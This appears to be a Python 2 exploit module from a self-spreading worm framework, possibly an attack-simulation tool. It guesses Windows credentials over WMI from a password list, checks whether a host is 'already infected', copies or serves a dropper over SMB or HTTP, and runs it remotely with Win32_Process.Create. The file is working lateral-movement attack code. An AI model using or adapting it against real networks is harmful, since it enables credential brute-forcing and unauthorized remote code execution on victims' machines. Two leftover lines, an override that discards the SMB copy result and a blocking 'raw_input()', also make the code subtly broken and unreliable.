import socket
import ntpath
import logging
import traceback
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException

LOG = logging.getLogger(__name__)

class WmiExploiter(HostExploiter):
    def __init__(self):
        self._config = __import__('config').WormConfiguration

    @WmiTools.dcom_wrap
    def exploit_host(self, host, src_path):
        assert isinstance(host, VictimHost)

        passwords = list(self._config.psexec_passwords[:])
        known_password = host.get_credentials(self._config.psexec_user)
        if known_password is not None:
            if known_password in passwords:
                passwords.remove(known_password)
            passwords.insert(0, known_password)

        for password in passwords:
            LOG.debug("Attempting to connect %r using WMI with password '%s'",
                      host, password)

            wmi_connection = WmiTools.WmiConnection()

            try:
                wmi_connection.connect(host,
                                       self._config.psexec_user,
                                       password)
            except AccessDeniedException:
                LOG.debug("Failed connecting to %r using WMI with password '%s'",
                          host, password)
                continue
            except socket.error, exc:
                LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
                          host, password, exc)
                return False
            except Exception, exc:
                LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
                          host, password, exc, traceback.format_exc())
                return False

            host.learn_credentials(self._config.psexec_user, password)

            # query process list and check if monkey already running on victim
            process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
                                                fields=("Caption", ),
                                                where="Name='%s'" % ntpath.split(src_path)[-1])
            if process_list:
                wmi_connection.close()

                LOG.debug("Skipping %r - already infected", host)
                return False

            #copy the file remotely using SMB
            remote_full_path = SmbTools.copy_file(host,
                                                  self._config.psexec_user,
                                                  password,
                                                  src_path,
                                                  self._config.dropper_target_path)
            remote_full_path = False

            if not remote_full_path:
                remote_full_path = self._config.dropper_target_path
                http_path = HTTPTools.create_transfer(host,
                                          src_path,
                                          remote_full_path)
                cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
            # execute the remote dropper in case the path isn't final
            elif remote_full_path.lower() != self._config.dropper_target_path.lower():
                cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
            else:
                cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}

            # execute the remote monkey
            result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
                                                                                 ntpath.split(remote_full_path)[0],
                                                                                 None)

            if (0 != result.ProcessId) and (0 == result.ReturnValue):
                LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                         remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
                success = True
                raw_input()
            else:
                LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                          remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
                success = False

            result.RemRelease()
            wmi_connection.close()

            return success

        return False